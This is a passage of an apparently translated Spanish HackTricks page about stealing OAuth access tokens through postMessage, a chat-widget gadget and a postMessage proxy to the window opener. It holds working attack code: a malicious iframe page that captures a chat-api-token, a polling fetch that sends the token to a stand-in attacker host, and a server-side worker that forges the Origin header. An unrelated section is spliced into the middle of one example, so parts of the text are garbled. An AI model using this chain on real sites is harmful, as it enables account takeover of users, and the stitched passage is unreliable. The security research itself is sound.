2. La ventana principal haría una llamada API al servicio de chat. El punto final de la API estaba restringido por CORS al sitio web específico configurado para el servicio. Tenía que proporcionar un encabezado `Origin` válido para la llamada API con el chat-api-token para permitir que se enviara la solicitud.
3. La llamada API desde la ventana principal contendría `location.href` y lo registraría como la "página actual" del visitante con el chat-api-token. La respuesta luego contendría tokens para conectarse a un websocket para iniciar la sesión de chat:
```json
{
"api_data": {
"current_page": "https://example.com/#access_token=test",
"socket_key": "xxxyyyzzz",
...
}
}
```
En este ejemplo, me di cuenta de que el anuncio del chat-api-token siempre se anunciaría al padre del iframe del chat-widget, y si obtuviera el chat-api-token, podría hacer una solicitud del lado del servidor usando el token y luego agregar mi propio encabezado `Origin` artificial a la llamada API ya que un encabezado CORS solo importa para un navegador. Esto resultó en la siguiente cadena:
1. Creé una página maliciosa que incrusta un iframe del chat-widget, agregué un listener de postMessage para escuchar el chat-api-token. Además, activé un evento para volver a cargar el iframe si no había obtenido el api-token en 2 segundos. Esto fue para asegurarme de que también apoyaba a las víctimas que nunca habían iniciado el chat, y como podía activar para abrir el chat de forma remota, primero necesitaba el chat-api-token para comenzar a sondear los datos en el chat-API desde el lado del servidor.
```html
<div id="leak"><iframe
id="i" name="i"
src="https://chat-widget.example.com/chat" onload="reloadToCheck()"></iframe></div>
<script>
var gotToken = false;
function reloadToCheck() {
if (gotToken) return;
setTimeout(function() {
document.getElementById('i').src = 'https://chat-widget.example.com/chat?' + Math.random();
}, 2000);
}
window.onmessage = function(e) {
if (e.data.key === 'api-token') {
gotToken = true;
lookInApi(e.data.value);
}
}
launchChatWindowByPostMessage();
</script>
```
2. Agregué un enlace a la página maliciosa para abrir el flujo de inicio de sesión que terminaría en la página con el chat-widget con el token en la URL:
```
<a href="#" onclick="b=window.open('https://accounts.google.com/o/oauth2/auth/oauthchooseaccount?...');">Haz clic aquí para secuestrar el token</a>
```
3. La función `launchChatWindowByPostMessage()` enviará continuamente un postMessage a la ventana principal, si está abierta, para lanzar el chat-widget:
```javascript
function launchChatWindowByPostMessage() {
var launch = setInterval(function() {
if(b) { b.postMessage({type: 'launch-chat'}, '*'); }
}, 500);
}
```
4. Cuando la víctima hizo clic en el enlace y terminó en la página de error, el chat se lanzaría y se crearía un chat-api-token. Mi recarga del chat-widget iframe en la página maliciosa obtendría el `api-token` a través de postMessage y luego podría comenzar a buscar en la API la URL actual de la víctima:
```javascript
function lookInApi(token) {
var look = setInterval(function() {
fetch('https://fetch-server-side.attacker.test/?token=' + token).then(e => e.json()).then(e => {
if (e &&
e.api_data &&
e.api_data.current_url &&
e.api_data.current_url.indexOf('access_token') !== -1) {
var payload = e.api_data.current_url
document.getElementById('leak').innerHTML = 'El atacante ahora tiene el token: ' + payload;
clearInterval(look);
}
});
}, 2000);
}
```
5. La página del lado del servidor en `https://fetch-server-side.attacker.test/?token=xxx` haría la llamada API con el encabezado Origin agregado para hacer que el Chat-API piense que lo estaba usando como un origen legítimo:
```javascript
addEventListener('fetch', event => {
event.respondWith(handleRequest(event.request))
})
async function getDataFromChatApi(token) {
return await fetch('https://chat-widget.example.com/api', {headers:{Origin: 'https://example.com', 'Chat-Api-Token': token}});
}
function handleRequest(request) {
const token = request.url.match('token=([^&#]+)')[1] || null;
return token ? getDataFromChatApi(token) : null;
}
```
6. Cuando la víctima hizo clic en el enlace y pasó por la danza de OAuth y aterrizó en la página de error con el token agregado, el chat-widget se abriría de repente, registraría la URL actual y el atacante tendría el token de acceso de la víctima.
## Otras ideas para filtrar URLs
Todavía hay diferentes tipos de gadgets esperando ser encontrados. Aquí hay uno de esos casos que no pude encontrar en la naturaleza pero podría ser una forma potencial de hacer que la URL se filtre usando cualquiera de los modos de respuesta disponibles.
### Una página en un dominio que enruta cualquier postMessage a su abridor
Dado que todos los tipos de respuesta `web_message` no pueden validar ninguna ruta del origen, cualquier URL en un dominio válido puede recibir el postMessage con el token. Si hay algún tipo de proxy de listener de postMessage en cualquiera de las páginas en el dominio, que toma cualquier mensaje enviado a él y envía todo a su `opener`, puedo hacer una cadena doble de window.open:
Página del atacante 1:
```html
<a href="#" onclick="a=window.open('attacker2.html'); return false;">Accept cookies</a>
```
# Página del atacante 2:
## Happy Paths de OAuth
### XSS, iframes y postMessage para filtrar valores de código y estado
Una vez que el usuario ha iniciado sesión en el proveedor de OAuth y ha sido redirigido de vuelta a la aplicación de destino, el proveedor de OAuth enviará un código de autorización y un estado a la aplicación de destino. Estos valores son necesarios para que la aplicación de destino obtenga un token de acceso del proveedor de OAuth.
Un atacante puede intentar filtrar estos valores de código y estado utilizando técnicas de XSS, iframes y postMessage. El atacante puede crear una página web maliciosa que incluya un iframe que apunte a la URL de inicio de sesión del proveedor de OAuth. La página web maliciosa también puede incluir código JavaScript que se ejecutará en el contexto del iframe.
Cuando el usuario inicia sesión en el proveedor de OAuth a través del iframe, el código JavaScript malicioso puede leer el valor del código de autorización y del estado utilizando la API postMessage. El código JavaScript malicioso puede enviar estos valores a un servidor controlado por el atacante para su posterior uso en un ataque de toma de cuenta.
Es importante tener en cuenta que esta técnica solo funcionará si el proveedor de OAuth no ha implementado medidas de seguridad adecuadas, como la restricción de los dominios permitidos para la redirección de OAuth.
```html
<a href="#" onclick="b=window.open('https://accounts.google.com/oauth/...?', '', 'x'); location.href = 'https://example.com/postmessage-proxy'; return false;">Login to google</a>
```
Y el `https://example.com/postmessage-proxy` tendría algo como:
```javascript
// Proxy all my messages to my opener:
window.onmessage=function(e) { opener.postMessage(e.data, '*'); }
```
Podría utilizar cualquiera de los modos de respuesta `web_message` para enviar el token desde el proveedor de OAuth hasta el origen válido de `https://example.com`, pero el punto final enviaría el token más adelante a `opener`, que es la página del atacante.
Este flujo puede parecer poco probable y requiere dos clics: uno para crear una relación de apertura entre el atacante y el sitio web, y el segundo para lanzar el flujo de OAuth teniendo el sitio legítimo como el abridor de la ventana emergente de OAuth.
El proveedor de OAuth envía el token al origen legítimo:
![](https://labs.detectify.com/wp-content/uploads/2022/06/gadget4-example1.png)
Y el origen legítimo tiene el proxy de postMessage a su abridor:
![](https://labs.detectify.com/wp-content/uploads/2022/06/gadget4-example2.png)
Lo que hace que el atacante obtenga el token:
![](https://labs.detectify.com/wp-content/uploads/2022/06/gadget4-example3.png)
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>